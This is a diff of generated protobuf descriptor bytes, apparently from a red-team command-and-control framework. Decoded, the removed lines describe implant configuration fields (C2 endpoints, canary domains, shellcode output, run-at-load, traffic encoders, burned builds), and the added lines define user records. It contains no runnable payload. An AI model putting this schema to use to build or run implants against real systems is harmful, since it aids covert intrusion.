- 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e,
- 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61,
- 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x57,
- 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74,
- 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f,
- 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43,
- 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f,
- 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, 0x20,
- 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e,
- 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e,
- 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, 0x20,
- 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69,
- 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c,
- 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50,
- 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32,
- 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12,
- 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73,
- 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f,
- 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74,
- 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72,
- 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f,
- 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08,
- 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69,
- 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65,
- 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69,
- 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d,
- 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12,
- 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65,
- 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65,
- 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69,
- 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f,
- 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12,
- 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c,
- 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28,
- 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74,
- 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61,
- 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62,
- 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64,
- 0x4c, 0x69, 0x62, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65,
- 0x18, 0x67, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
- 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65,
- 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63,
- 0x6f, 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64,
- 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61,
- 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12,
- 0x2b, 0x0a, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e,
- 0x61, 0x6d, 0x65, 0x18, 0x96, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50,
- 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x23, 0x0a, 0x0c,
- 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x97, 0x01, 0x20,
- 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65,
- 0x64, 0x12, 0x37, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f,
- 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x98, 0x01, 0x20, 0x01,
- 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64,
- 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x29, 0x0a, 0x0f, 0x54, 0x72,
- 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x99, 0x01,
- 0x20, 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63,
- 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18,
- 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
- 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a,
- 0x0a, 0x0e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72,
- 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44,
- 0x12, 0x22, 0x0a, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e,
- 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04,
- 0x57, 0x61, 0x73, 0x6d, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74,
- 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73,
- 0x74, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54,
- 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70,
- 0x12, 0x45, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03,
- 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72,
- 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e,
- 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45,
- 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64,
- 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18,
- 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61,
- 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f,
- 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6,
- 0x01, 0x0a, 0x12, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65,
- 0x72, 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d,
- 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f,
- 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65,
- 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73,
- 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20,
- 0x01, 0x28, 0x03, 0x52, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a,
- 0x03, 0x45, 0x72, 0x72, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12,
- 0x16, 0x0a, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52,
- 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66,
- 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12,
- 0x32, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b,
- 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66,
- 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f,
- 0x64, 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03,
- 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72,
- 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74,
- 0x52, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c,
- 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d,
- 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a,
- 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28,
- 0x05, 0x52, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0xa6, 0x01,
- 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e,
- 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69,
- 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
- 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2c, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c,
- 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52,
- 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x2e, 0x0a, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32,
- 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06,
- 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x22, 0x77, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e,
- 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12,
+ 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x2d, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72,
+ 0x73, 0x12, 0x24, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b,
+ 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72,
+ 0x52, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x22, 0x68, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12,
0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e,
- 0x61, 0x6d, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75,
- 0x69, 0x6c, 0x64, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x49, 0x6d, 0x70,
- 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46,
- 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
- 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22,
- 0xbe, 0x03, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64,
- 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03,
- 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d,
- 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66,
- 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
- 0x73, 0x12, 0x4a, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73,
- 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e,
- 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79,
- 0x52, 0x0b, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x12, 0x3b, 0x0a,
- 0x06, 0x73, 0x74, 0x61, 0x67, 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
- 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, 0x6e, 0x74,
- 0x72, 0x79, 0x52, 0x06, 0x73, 0x74, 0x61, 0x67, 0x65, 0x64, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f,
- 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65,
- 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05,
- 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f,
- 0x6e, 0x66, 0x69, 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a,
- 0x54, 0x0a, 0x10, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e,
- 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
- 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02,
- 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75,
- 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x39, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45,
- 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18,
- 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01,
- 0x22, 0x27, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65,
- 0x52, 0x65, 0x71, 0x12, 0x14, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x03,
- 0x28, 0x09, 0x52, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x22, 0xb2, 0x05, 0x0a, 0x0c, 0x49, 0x6d,
- 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44,
- 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61,
- 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x10,
- 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4d, 0x44, 0x35,
- 0x12, 0x12, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
- 0x53, 0x48, 0x41, 0x31, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x18, 0x05,
- 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x12, 0x16, 0x0a, 0x06,
- 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75,
- 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49,
- 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
- 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e,
- 0x66, 0x69, 0x67, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70,
- 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12,
- 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b,
- 0x65, 0x79, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72,
